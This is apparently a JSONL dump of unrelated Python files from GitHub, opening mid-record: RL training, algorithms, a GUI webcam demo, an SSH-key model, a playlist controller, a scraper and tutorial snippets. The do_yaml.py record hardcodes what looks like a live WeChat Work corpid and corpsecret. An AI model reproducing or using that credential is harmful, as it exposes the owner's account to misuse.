plt.plot([0 for _ in range(100)] +\n np.convolve(log_reward_array[:, i], np.ones((100,)) / 100, mode=\"valid\").tolist())\n plt.show()\n\n def selektion(self):\n return\n # self.\n\n\n#####################################################################################################################################################################################\n\nif len(sys.argv) < 2:\n level = \"SuperMarioBros-1-1-v0\"\nelse:\n level = sys.argv[1]\n \n_NeuroAgentManager = NeuroAgentManager(it=8000, pretrained=False, n_agents=11, training_mode=True, n_gutes_erbgut=3,\n epsilon=0.1, level=level)\n_NeuroAgentManager.start_agents()\n","repo_name":"Chainsaw1860/MarioAI-NeuroRL","sub_path":"src/train_models.py","file_name":"train_models.py","file_ext":"py","file_size_in_byte":33697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15799247285","text":"from ruamel import yaml\n\ndef dump_yaml(yaml_name,data:dict):\n \"\"\"\n 将字典格式数据写入到yaml文件\n :param yaml_name:将被创建的yaml文件名\n :param data:字典格式数据\n :return:没有返回值\n \"\"\"\n # 创建env.yaml文件,给可写权限,将env中数据写入env.yaml\n with open(yaml_name,\"w\") as f:\n yaml.safe_dump(data=data,stream=f)\n\ndef load_yaml(yaml_file):\n \"\"\"\n 从yaml文件中读取数据\n :param yaml_file:yaml文件名\n :return:字典格式数据\n \"\"\"\n return yaml.safe_load(open(yaml_file))\n\nif __name__ == '__main__':\n env = {\n \"default\": \"test\",\n \"testing-studio\":\n {\n \"dev\": \"https://ceshiren.com\",\n \"test\": \"https://baidu.com\"\n }\n }\n\n data1 = {\n \"method\": \"get\",\n \"url\": \"https://qyapi.weixin.qq.com/cgi-bin/gettoken\",\n \"params\": {\n 'corpid': \"ww3c6b51ae743ae4ec\",\n 'corpsecret': \"xvmyVvTMnJaR0q2eitVBAOqJA-vQKt6zPjpQXixT8do\"\n },\n \"json\": None\n }\n dump_yaml(\"get_token.yaml\",data1)\n # y = load_yaml(\"get_token.yaml\")\n # print(y)","repo_name":"echo9527git/haige_requests","sub_path":"requests_demo_framwork/do_yaml.py","file_name":"do_yaml.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21052362602","text":"import sys\nfrom collections import deque\n\n# sys.stdin = open('test1.txt', 'r')\nsys.setrecursionlimit(1000000)\n\n\ndef get_array(): return list(map(int, sys.stdin.readline().split()))\n\n\ndef get_ints(): return map(int, sys.stdin.readline().split())\n\n\ndef input(): return sys.stdin.readline()\n\n\nINF = int(1e9)\n\n\ndef solver():\n n, m = get_ints()\n arr = get_array()\n dq = deque(arr)\n ans = 0\n if len(arr) == 1:\n print(1)\n return\n while True :\n m -= 1\n element = dq.popleft()\n ck1 = False\n for i in range(len(dq)):\n if element < dq[i]:\n ck1 = True\n break\n if ck1 is False:\n ans += 1\n if m == -1:\n print(ans)\n return\n else:\n dq.append(element)\n if m == -1: m = len(dq) - 1\n # print(ans)\n\n\nif __name__ == '__main__':\n n_test = int(input())\n for _ in range(n_test):\n solver()\n","repo_name":"ThinhNgVhust/BigO_Algorithms","sub_path":"Blue/W8_MIDTERN/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21595411903","text":"import os\r\n\r\ndef check_path(path):\r\n \"\"\"\r\n Checks whether a given path exists or not, and prints out the filename and directory portion of the path if it exists.\r\n \"\"\"\r\n if os.path.exists(path):\r\n print(f\"{path} exists.\")\r\n dirname = os.path.dirname(path)\r\n filename = os.path.basename(path)\r\n print(f\"Directory: {dirname}\")\r\n print(f\"Filename: {filename}\")\r\n else:\r\n print(f\"{path} does not exist.\")\r\n\r\n# example usage\r\npath = \"/path/to/file.txt\"\r\ncheck_path(path)\r\n","repo_name":"baxa1503/pp2--20B030150-","sub_path":"tsis6/df_3.py","file_name":"df_3.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74609525799","text":"from heapq import heapify, heappop\nclass Solution:\n def findLeastNumOfUniqueInts(self, arr: List[int], k: int) -> int:\n freqs = Counter(arr)\n counts = list(freqs.values())\n heapify(counts)\n while k > 0:\n if counts[0] <= k:\n k -= heappop(counts)\n else:\n break\n return len(counts)\n","repo_name":"AnasImloul/Competitive-Programming","sub_path":"leetcode/scripts/algorithms/L/Least Number of Unique Integers after K Removals/Least Number of Unique Integers after K Removals.py","file_name":"Least Number of Unique Integers after K Removals.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"14888114696","text":"from Domain.rezervare import Rezervare\r\n\r\n\r\nclass RezervareValidator:\r\n @staticmethod\r\n def valideaza(rezervare: Rezervare):\r\n erori = []\r\n if rezervare.id_entitate is None:\r\n erori.append(\"Id-ul trebuie completat!\")\r\n if rezervare.id_film is None:\r\n erori.append(\"Id-ul filmului trebuie completat!\")\r\n if rezervare.data_ora is None:\r\n erori.append(\"Data trebuie completata!\")\r\n erori.append(\"Id-ul rezervarii trebuie sa contina numai cifre!\")\r\n if rezervare.id_film.isdigit() is False:\r\n erori.append(\"Id-ul filmului trebuie sa contina numai cifre!\")\r\n if rezervare.id_card_client is not None:\r\n if rezervare.id_card_client.isdigit() is False:\r\n erori.append(\"Id-ul cardului client trebuie sa contina\"\r\n \" numai cifre!\")\r\n if len(erori) > 0:\r\n raise ValueError(erori)\r\n","repo_name":"camelia-leuca/python-project","sub_path":"lab8910/Domain/rezervare_validator.py","file_name":"rezervare_validator.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30061952777","text":"class Node:\n def __init__(self, val: int, parent=None, left=None, right=None) -> None:\n self.val = val\n self.parent = parent\n self.left = left\n self.right = right\n\n\nclass BST:\n def __init__(self) -> None:\n self.root = Node(6)\n\n @staticmethod\n def inorder(root):\n if root == None:\n return\n\n BST.inorder(root.left)\n print(root.val)\n BST.inorder(root.right)\n\n @staticmethod\n def bfs(root):\n if root == None:\n return\n\n q = [root]\n\n while len(q) != 0:\n temp = q.pop(0)\n\n if temp.left != None:\n q.append(temp.left)\n\n if temp.right != None:\n q.append(temp.right)\n\n print(temp.val)\n","repo_name":"abhishekxix/algorithms","sub_path":"problems/tree-traversal.py","file_name":"tree-traversal.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36175728378","text":"#!/usr/bin/env python\nimport PySimpleGUI as sg\nimport cv2\nimport numpy as np\nimport PIL\nfrom PIL import Image,ImageTk\n\n\n\"\"\"\nDemo program that displays a webcam using OpenCV\n\"\"\"\n\n\ndef main():\n\n sg.theme('Black')\n\n # define the window layout\n layout = [[sg.Text('OpenCV Demo', size=(40, 1), justification='center', font='Helvetica 20')],\n [sg.Image(filename='', key='image', visible=True)],\n [sg.Button('Record', size=(10, 1), font='Helvetica 14'),\n sg.Button('Stop', size=(10, 1), font='Any 14'),\n sg.Button('Exit', size=(10, 1), font='Helvetica 14') ]]\n\n # create the window and show it without the plot\n window = sg.Window('Demo Application - OpenCV Integration',\n layout, location=(0, 0))\n\n # ---===--- Event LOOP Read and display frames, operate the GUI --- #\n cap = cv2.VideoCapture(0)\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n recording = False\n\n while True:\n event, values = window.read(timeout=20)\n if event == 'Exit' or event == sg.WIN_CLOSED:\n return\n\n elif event == 'Record':\n recording = True\n\n elif event == 'Stop':\n recording = False\n img=np.zeros((480, 640, 3), np.uint8)\n img = PIL.Image.fromarray(img)\n imgtk = ImageTk.PhotoImage(image=img)\n # this is faster, shorter and needs less includes\n window['image'].update(data=imgtk)\n\n if recording:\n ret, frame = cap.read()\n frame = cv2.flip(frame, 1)\n cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\n img = PIL.Image.fromarray(cv2image)\n imgtk = ImageTk.PhotoImage(image=img)\n window.FindElement('image').Update(data=imgtk)\n #cv2.imshow('img', frame)\n cap.release()\n #cv2.destroyAllWindows()\n\n\nmain()","repo_name":"Blu-Eagle/pysimpleguiOpencv","sub_path":"pyguivideo.py","file_name":"pyguivideo.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"7249015134","text":"from json import dumps\nfrom os import getenv\n\nfrom aws_lambda_powertools import Logger\n\n\nlogger = Logger()\n\n\nclass EnvironmentVariableNotFound(Exception):\n def __init__(self, name: str) -> None:\n super().__init__(f\"Environment Variable {name} not found.\")\n\n\ndef get_required_var(name):\n logger.debug(f\"Getting required value of environment variable {name}.\")\n value = getenv(name)\n \n if not value:\n logger.exception(f\"Not found value from environment variable {name}.\")\n raise EnvironmentVariableNotFound(name)\n \n logger.debug(f\"Got value {value} of environment variable {name}.\")\n return value\n\n\ndef response(status_code: int, body: dict, request: dict = None):\n\n headers = {\"Content-Type\": \"application/json\"}\n\n if request and logger.log_level == \"DEBUG\":\n headers[\"Request\"] = dumps(request)\n\n response = {\n \"statusCode\": status_code,\n \"headers\": headers,\n \"body\": dumps(body),\n }\n\n logger.debug(f\"Response: {response}\")\n\n return response\n","repo_name":"mbiemann/briefbox-backend","sub_path":"scripts/layers/common/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6201106805","text":"# 단어 변환\n# https://programmers.co.kr/learn/courses/30/lessons/43163\n\nimport copy\n\ndef cipher_check(a, b):\n check = 0\n\n for i in range(0, len(a)):\n if a[i] != b[i]:\n check += 1\n\n if check == 1:\n return True\n\n\n return False\n\n\ndef dfs_recur(graph, start_node, target, visited, possible):\n temp = copy.deepcopy(visited)\n temp.append(start_node)\n\n if start_node == target:\n possible.append(temp)\n return\n\n for i in graph[start_node]:\n if i not in temp:\n dfs_recur(graph, i, target, temp, possible)\n\n\n\n\n\ndef solution(begin, target, words):\n graph = {}\n\n if target not in words:\n return 0\n\n\n\n for i in words:\n graph[i] = []\n for j in words:\n check = 0\n if i == j:\n continue\n else:\n # 1글자만 다른지 체크\n if cipher_check(i, j) == True:\n graph[i].append(j)\n\n\n lst = []\n for i in graph:\n if cipher_check(begin, i) == True:\n visited = []\n possible = []\n dfs_recur(graph, i, target, visited, possible)\n\n print(possible)\n if not possible:\n lst.append(-1)\n else:\n #lst.append(len(min(possible)))\n lst.append(min(list(map(len, possible))))\n\n\n # 모든 시작점에서의 dfs 결과가 -1 이라면 target 을 도출하지 못하는 경우이다.\n if set(lst) == {-1}:\n return 0\n # lst 가 비어있는 경우는 begin에서 graph의 각 노드로 이동이 불가능한 경우이다.\n elif not lst:\n return 0\n else:\n if -1 in lst:\n lst.remove(-1)\n return min(lst)\n\n\n\n\n\n\nbegin = 'coa'\ntarget = 'cog'\n#words = ['hot', 'dot', 'dog', 'lot', 'log', 'cog']\n#words = ['hot', 'hut', 'lut', 'lot', 'log', 'cog']\n#words = ['hot', 'hot', 'hog', 'cog']\nwords = ['cua', 'cot', 'cog']\n\nanswer = solution(begin, target, words)\nprint(answer)","repo_name":"chris9390/Algorithm","sub_path":"programmers/dfs_bfs/dfs_bfs_3.py","file_name":"dfs_bfs_3.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43024258392","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom binascii import hexlify, Error\nfrom base64 import decodestring\n\nfrom paramiko import RSAKey, DSSKey, SSHException\n\nfrom vilya.libs.store import store\n\n\n# RFC: http://tools.ietf.org/html/rfc4716\nclass SSHKey(object):\n\n def __init__(self, id, user_id, key, fingerprint, title):\n self.id = id\n self.user_id = user_id\n self.key = key\n self.fingerprint = fingerprint\n self.title = title\n\n @property\n def finger(self):\n return self.fingerprint\n\n @classmethod\n def add(cls, user_id, key):\n fingerprint = generate_fingerprint(key)\n title = generate_title(key)\n id = store.execute(\n 'insert into ssh_keys (user_id, `key`, fingerprint, title) '\n 'values (%s, %s, %s, %s)',\n (user_id, key, fingerprint, title))\n store.commit()\n return cls(id, user_id, key, fingerprint, title)\n\n @classmethod\n def validate(cls, user_id, key):\n _key_type, _key, _title = split_ssh_key(key)\n if _key_type not in ('ssh-rsa', 'ssh-dss'):\n return None\n fingerprint = generate_fingerprint(key)\n if not fingerprint:\n return None\n return True\n\n @classmethod\n def is_duplicated(cls, user_id, key):\n fingerprint = generate_fingerprint(key)\n # FIXME: duplicated fingerprint with user_id\n # or global fingerprint duplicated?\n rs = store.execute('select id from ssh_keys '\n 'where fingerprint=%s', (fingerprint,))\n if rs and rs[0]:\n return True\n\n @classmethod\n def gets_by_user_id(cls, user_id):\n rs = store.execute('select id, user_id, `key`, fingerprint, title '\n 'from ssh_keys '\n 'where user_id=%s ', (user_id,))\n if rs:\n return [cls(*r) for r in rs]\n return []\n\n @classmethod\n def get(cls, id):\n rs = store.execute('select id, user_id, `key`, fingerprint, title '\n 'from ssh_keys '\n 'where id=%s', (id,))\n if rs and rs[0]:\n return cls(*rs[0])\n\n def delete(self):\n n = store.execute('delete from ssh_keys where id=%s', (self.id,))\n if n:\n store.commit()\n return True\n\n @classmethod\n def check_own_by_user(cls, user_id, ssh_id):\n rs = store.execute('select id, user_id, `key`, fingerprint, title '\n 'from ssh_keys '\n 'where id=%s and user_id=%s ',\n (ssh_id, user_id))\n if rs and rs[0]:\n return cls(*rs[0])\n\n @classmethod\n def get_by_fingerprint(cls, fingerprint):\n rs = store.execute('select id, user_id, `key`, fingerprint, title '\n 'from ssh_keys '\n 'where fingerprint=%s ', (fingerprint,))\n r = rs and rs[0]\n if r:\n return cls(*r)\n\n\ndef split_ssh_key(key):\n _type = None\n _key = None\n _name = None\n fields = key.split(' ')\n length = len(fields)\n if length == 2:\n fields = fields[:2]\n _type, _key = fields\n _name = _type + \" \" + _key[:18]\n elif length >= 3:\n fields = fields[:3]\n _type, _key, _name = fields\n return (_type, _key, _name)\n\n\ndef generate_title(key):\n _type, _key, _name = split_ssh_key(key)\n return _name\n\n\ndef generate_fingerprint(key):\n fingerprint = None\n _type, _key, _name = split_ssh_key(key)\n try:\n if _type == 'ssh-rsa':\n _key = RSAKey(data=decodestring(_key))\n elif _type == 'ssh-dss':\n _key = DSSKey(data=decodestring(_key))\n else:\n return fingerprint\n hash = hexlify(_key.get_fingerprint())\n fingerprint = \":\".join([hash[i:2+i] for i in range(0, len(hash), 2)])\n except SSHException as e:\n # Invalid key\n # raise ValueError(str(e))\n return None\n except Error:\n # Incorrect padding\n # report \"Invalid key\" error to user\n # raise ValueError(\"Invalid key\")\n return None\n return fingerprint\n","repo_name":"douban/code","sub_path":"vilya/models/sshkey.py","file_name":"sshkey.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":1812,"dataset":"github-code","pt":"18"} +{"seq_id":"35956374928","text":"from http.cookies import SimpleCookie\nimport json\nimport sys, os, requests, uuid\nfrom threading import Thread\nfrom time import sleep\n\nfrom Crypto import Random\nfrom Crypto.PublicKey import RSA\nfrom PyQt5.QtCore import QThread\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QMenu\nfrom PyQt5.QtWidgets import QSystemTrayIcon\n\nfrom login import LoginForm\nfrom settings import HTTP_PROTOCOL\nfrom settings import SERVER_URL\nfrom timestamp.form import TimestampForm\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self):\n QSystemTrayIcon.__init__(self)\n \n self.http_client = requests.Session()\n self.base_url = '{}://{}'.format(HTTP_PROTOCOL, SERVER_URL)\n self.set_desktop_timezone()\n \n # init icons\n self.icon_states = {\n 'disconnect': QIcon('icons/icon-placeholder_128x128_no_connection.png'),\n 'logged_out': QIcon('icons/icon-placeholder_128x128_red.png'),\n 'logged_in': QIcon('icons/icon-placeholder_128x128_green.png') , \n }\n self.changeIcon('logged_out')\n \n self.uuid = self.create_uuid('TTASM')\n self.create_private_key()\n \n try:\n self.http_client.get(self.base_url)\n self.server_accessible = True\n self.set_server_public_key()\n self.present_login_form()\n \n except:\n self.server_accessible = False\n t = AccessibilityWorker(self)\n t.start()\n \n self.set_server_public_key()\n \n self.create_ui()\n self.msgButton.setEnabled(False)\n \n def createURL(self, path):\n return '{}{}'.format(self.base_url, path)\n\n # Find Desktop's timezone \n def set_desktop_timezone(self):\n response = requests.get('http://freegeoip.net/json')\n response_json = json.JSONDecoder().decode(response.text)\n self.timezone = response_json['time_zone']\n\n def verify_initial_data(self):\n url = self.createURL('/initial_synchronization/?timezone={}'.format(self.timezone))\n try:\n response = self.http_client.get(url)\n if response.status_code == 200:\n self.last_timestamp = response.text\n else:\n raise Exception('Server errror: {}'.format(response.status_code))\n except:\n print('Something is wrong with server comms')\n \n def set_server_public_key(self):\n # get server public key \n\n url = self.createURL('/public_key/')\n print('Trying to get the public key from:', url) \n \n try:\n response = self.http_client.get(url)\n except:\n print('No response, server may be down')\n \n try:\n if response.status_code == 200:\n self.server_rsa_pub = RSA.importKey(response.text)\n print('Server private key aquired')\n else:\n print('Server failed to provide public key')\n except:\n print(\"\\nServer is not responding\")\n# self.loginForm.close()\n \n def create_private_key(self):\n # Create new client RSA private key, public key and public key hash and store them to disk\n random_generator = Random.new().read\n self.client_rsa = RSA.generate(2048, random_generator)\n print ('Client private key created')\n\n# with open('./clientdata/client_RSA', 'wb') as f:\n# f.write(cl_rsa.exportKey())\n# with open('./clientdata/client_RSA.pub', 'wb') as f:\n# f.write(cl_rsa.publickey().exportKey())\n# with open('./clientdata/client_RSA.hash', 'w') as f:\n# f.write(SHA256.new(cl_rsa.publickey().exportKey()).hexdigest())\n \n print ('Client keys created')\n \n def create_ui(self):\n \"\"\"Create user interface of Tray icon\"\"\"\n\n mainMenu = QMenu()\n subMenu = QMenu(mainMenu)\n subMenu.setTitle(\"Util\")\n subButton_1 = subMenu.addAction(\"Show token\")\n subButton_1.triggered.connect(self.show_token)\n subButton_2 = subMenu.addAction(\"Test sockets\")\n subButton_2.triggered.connect(self.test_sockets)\n\n # Set the order of layout and add everything to main menu\n self.logInButton = mainMenu.addAction(\"Log in\")\n self.logInButton.triggered.connect(self.present_login_form)\n \n self.simButton = mainMenu.addAction(\"Let's pretend server is accessible\")\n self.simButton.triggered.connect(self.enable_login_etc)\n \n \n mainMenu.addSeparator()\n self.msgButton = mainMenu.addAction(\"Send message\") # find a way how to hide this button to preserve action on it before user's log in action\n self.msgButton.triggered.connect(self.present_timestamp_form)\n \n if not self.server_accessible:\n self.logInButton.setEnabled(False)\n self.msgButton.setEnabled(False)\n else:\n self.msgButton.setEnabled(True)\n \n \n mainMenu.addSeparator()\n mainMenu.addMenu(subMenu)\n mainMenu.addSeparator()\n mainMenu.addSeparator()\n exitButton = mainMenu.addAction(\"Exit\")\n exitButton.triggered.connect(self.quit)\n \n\n self.setContextMenu(mainMenu)\n \n def accessibility_worker(self):\n while (not self.server_accessible):\n try:\n self.http_client.get(self.base_url)\n self.server_accessible = True\n self.enable_login_etc()\n except:\n sleep(5)\n\n def changeIcon(self, state):\n self.setIcon(self.icon_states[state])\n\n def enable_login_etc(self):\n self.logInButton.setEnabled(True)\n self.msgButton.setEnabled(True)\n self.showMessage('Connected',\n 'Server is accessible again',\n QSystemTrayIcon.Information,\n 3000)\n \n \n\n def logged_in_state(self, loggedIn):\n # TODO: add corresponding icon change once the code is available\n if loggedIn:\n self.changeIcon('logged_in')\n self.logInButton.setText('Log Out')\n self.logInButton.disconnect()\n self.logInButton.triggered.connect(self.logout)\n \n else:\n self.changeIcon('logged_out')\n self.logInButton.setText('Log In')\n self.logInButton.disconnect()\n self.logInButton.triggered.connect(self.present_login_form)\n\n def create_uuid(self, UUID_string):\n return uuid.uuid3(uuid.NAMESPACE_DNS, UUID_string)\n \n def present_login_form(self):\n self.login_form = LoginForm(self)\n self.login_form.show()\n \n \n \n def present_timestamp_form(self):\n url = self.createURL('/last_activity_duration/')\n response = self.http_client.get(url)\n self.timestamp_form = TimestampForm(self, response.text)\n self.timestamp_form.show()\n\n def show_token(self):\n \"\"\"Placeholder function\"\"\"\n \n try:\n self.showMessage('Token',\n self.token,\n QSystemTrayIcon.Information,\n 3000)\n except:\n self.showMessage('Token',\n 'No token received',\n QSystemTrayIcon.Information,\n 3000)\n def test_sockets(self):\n \"\"\"Placeholder function\"\"\"\n\n self.showMessage('Testing',\n 'Pending implementation',\n QSystemTrayIcon.Information,\n 3000)\n \n # How to logout currently logged in user through get request\n def logout(self):\n url = self.createURL('/user_logout/')\n response = self.http_client.get(url)\n s_cookie = SimpleCookie()\n s_cookie.load(response.headers['Set-Cookie'])\n c_cookie = SimpleCookie()\n c_cookie.load(response.request.headers['Cookie'])\n\n if response.status_code == 200:\n if 'sessionid' in c_cookie and 'sessionid' not in s_cookie:\n print(\"User is still logged in\")\n else:\n print(\"User is logged out\")\n self.logged_in_state(False)\n self.msgButton.setEnabled(False)\n\n def quit(self):\n \"\"\"Exit program in a clean way.\"\"\"\n if os.path.isfile('pid'):\n os.remove('pid') \n print (\"Deleting pid file\")\n print (\"Exiting\")\n sys.exit(0)\n\nclass AccessibilityWorker(QThread):\n \n def __init__(self, parent, *args, **kwargs):\n self.parent = parent\n self.parent.changeIcon('disconnect')\n super(AccessibilityWorker, self).__init__(*args, **kwargs)\n\n def run(self):\n while (not self.parent.server_accessible):\n print('checking server accessibility...')\n try:\n print('1. connecting')\n self.parent.http_client.get(self.parent.base_url)\n print('2. setting server accessible variable to True')\n self.parent.server_accessible = True\n print('3. changing icon to logged_out')\n self.parent.changeIcon('logged_out')\n print('4. enabling login etc.')\n self.parent.enable_login_etc()\n print('server is up')\n except:\n print('\\t\\t-- waiting for 2 seconds --')\n sleep(2)\n","repo_name":"coremind-oss/ttasm-desktop-app","sub_path":"tray.py","file_name":"tray.py","file_ext":"py","file_size_in_byte":9573,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"12150065916","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\n\n\nmy_client = MongoClient(\"localhost\", 27017)\nmyDb = my_client['dbsparta']\nmyMusicCol = myDb['musicList']\n\n\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}\n\ndata = requests.get('https://www.genie.co.kr/chart/top200?ditc=D&rtm=N&ymd=20200713', headers=headers)\nsoup = BeautifulSoup(data.text, 'html.parser')\n\nmusic_lists = soup.select('#body-content > div.newest-list > div > table > tbody > tr')\n#\n# for music_list in music_lists:\n# number = music_list.select_one('td.number').get_text(\"\", strip=True).strip(\"상승, 하강, 유지\")\n# title = music_list.select_one('td.info > a.title.ellipsis').get_text(\"\", strip=True)\n# print(number, title)\n\nfor music_list in music_lists:\n number = music_list.select_one('td.number')\n artist = music_list.select_one('td.info > a.artist.ellipsis').text\n\n for span in number('span'):\n span.decompose()\n\n number = number.text.strip()\n title = music_list.select_one('td.info > a.title.ellipsis').get_text(\"\", strip=True)\n myMusicCol.insert_one({\"number\": number, \"title\": title, \"artist\": artist})","repo_name":"HOONGURU/homework","sub_path":"week3.py","file_name":"week3.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33441348664","text":"horizontal = 0\ndepth = 0\nwith open('input.txt') as file:\n for move in file:\n move = move.split()\n if move[0] == 'forward':\n horizontal += int(move[1])\n elif move[0] == 'up':\n depth -= int(move[1])\n elif move[0] == 'down':\n depth += int(move[1])\nprint(horizontal)\nprint(depth)\nprint(horizontal * depth)","repo_name":"ArrowThunder/AoC","sub_path":"2021/Day_2/AoCPos.py","file_name":"AoCPos.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5248179679","text":"from miro import app\nfrom miro import messages\nfrom miro import signals\nfrom miro.gtcache import gettext as _\nfrom miro.plat.frontends.widgets import widgetset\nfrom miro.frontends.widgets import itemcontextmenu\nfrom miro.frontends.widgets import itemlist\nfrom miro.frontends.widgets import itemlistcontroller\nfrom miro.frontends.widgets import itemlistwidgets\nfrom miro.frontends.widgets import itemrenderer\nfrom miro.frontends.widgets import style\nfrom miro.frontends.widgets.widgetstatestore import WidgetStateStore\n\nclass DropHandler(signals.SignalEmitter):\n def __init__(self, playlist_id, item_list, item_views, sorter):\n signals.SignalEmitter.__init__(self)\n self.create_signal('new-order')\n self.playlist_id = playlist_id\n self.item_list = item_list\n self.item_views = item_views\n self.sorter = sorter\n\n def allowed_actions(self):\n return widgetset.DRAG_ACTION_MOVE\n\n def allowed_types(self):\n return ('downloaded-item',)\n\n def validate_drop(self,\n table_view, model, typ, source_actions, parent, position):\n if position != -1 and typ == 'downloaded-item':\n return widgetset.DRAG_ACTION_MOVE\n return widgetset.DRAG_ACTION_NONE\n\n def accept_drop(self,\n table_view, model, typ, source_actions, parent, position, dragged):\n if 0 <= position < len(model):\n insert_id = model.nth_row(position)[0].id\n # If we try to insert before an ID that iself is being\n # dragged we get an error\n while insert_id in dragged:\n position += 1\n # If we iterate to the end of the playlist\n # we cancel the iteration\n if position >= len(model):\n insert_id = None\n break\n insert_id = model.nth_row(position)[0].id\n else:\n insert_id = None\n new_order = self.sorter.move_ids_before(insert_id, dragged)\n self.item_list.resort()\n for item_view in self.item_views:\n item_view.model_changed()\n self.emit('new-order', new_order)\n return True\n\nclass PlaylistItemController(itemlistcontroller.SimpleItemListController):\n def __init__(self, playlist_info):\n self.type = u'playlist'\n self.id = playlist_info.id\n self.is_folder = playlist_info.is_folder\n self.populated_sorter = False\n itemlistcontroller.SimpleItemListController.__init__(self)\n\n def build_column_renderers(self):\n column_renderers = itemlistwidgets.ListViewColumnRendererSet()\n playlist_renderer = style.PlaylistOrderRenderer(\n self.item_tracker.playlist_sort)\n column_renderers.add_renderer('playlist', playlist_renderer)\n return column_renderers\n\n def _init_widget(self):\n itemlistcontroller.SimpleItemListController._init_widget(self)\n standard_view = WidgetStateStore.get_standard_view_type()\n # 17408: the hotspot handler in the standard view need access to the\n # playlist id to be able to ditch an item.\n self.views[standard_view].playlist_id = self.id\n self.make_drop_handler()\n\n def make_sorter(self, column, ascending):\n if column == 'playlist':\n # take the playlist sorter from our item tracker\n playlist_sort = self.item_tracker.playlist_sort\n if playlist_sort.should_reverse_order(ascending):\n new_order = playlist_sort.reverse_order()\n m = messages.PlaylistReordered(self.id, new_order)\n m.send_to_backend()\n # slight bit of a hack here. We enable/disable reordering based\n # on the sort we return here. The assumption is that we are going\n # to use the sort we return, which seems reasonable.\n self.enable_reorder()\n return playlist_sort\n else:\n self.disable_reorder()\n return itemlistcontroller.SimpleItemListController.make_sorter(\n self, column, ascending)\n\n def build_renderer(self):\n return itemrenderer.PlaylistItemRenderer(\n self.item_tracker.playlist_sort)\n\n def make_drop_handler(self):\n self.drop_handler = DropHandler(self.id, self.item_list,\n self.views.values(), self.item_tracker.playlist_sort)\n self.drop_handler.connect('new-order', self._on_new_order)\n\n def enable_reorder(self):\n for view in self.all_item_views():\n view.set_drag_dest(self.drop_handler)\n\n def disable_reorder(self):\n for view in self.all_item_views():\n view.set_drag_dest(None)\n\n def make_context_menu_handler(self):\n if self.is_folder:\n return itemcontextmenu.ItemContextMenuHandlerPlaylistFolder()\n else:\n return itemcontextmenu.ItemContextMenuHandlerPlaylist(self.id)\n\n def handle_delete(self):\n selected = [info.id for info in self.get_selection()]\n m = messages.RemoveVideosFromPlaylist(self.id, selected)\n m.send_to_backend()\n return True\n\n def build_widget(self):\n itemlistcontroller.SimpleItemListController.build_widget(self)\n text = _('This Playlist is Empty')\n self.widget.list_empty_mode_vbox.pack_start(\n itemlistwidgets.EmptyListHeader(text))\n text = _('To add an item, drag it onto the name of this playlist '\n 'in the sidebar.')\n self.widget.list_empty_mode_vbox.pack_start(\n itemlistwidgets.EmptyListDescription(text))\n\n def _on_new_order(self, drop_handler, order):\n messages.PlaylistReordered(self.id, order).send_to_backend()\n","repo_name":"kmshi/miro","sub_path":"tv/lib/frontends/widgets/playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":5715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"15841356551","text":"\n# %%\nprint(\"Hello, World!\")\n\n\n# %%\n# This is a comment\nprint(\"Hello, World!\")\n\n\n# %%\nx = 5\ny = \"John\"\nprint(x)\nprint(y)\n\n\n# %%\nx = str(3) # x will be '3'\ny = int(3) # y will be 3\nz = float(3) # z will be 3.0\n\n\n# %%\nx, y, z = \"Orange\", \"Banana\", \"Cherry\"\nprint(x)\nprint(y)\nprint(z)\n\n\n# %%\nx = \"Python\"\ny = \"is\"\nz = \"awesome\"\nprint(x, y, z)\n\n\n# %%\na = '''Lorem ipsum dolor sit amet,\nconsectetur adipiscing elit,\nsed do eiusmod tempor incididunt\nut labore et dolore magna aliqua.'''\nprint(a)\n\n\n# %%\nb = \"Hello, World!\"\nprint(b[2:5])\nprint(b[:5])\nprint(b[2:])\nprint(b[-5:-2])\n\n\n# %%\na = \"Hello, 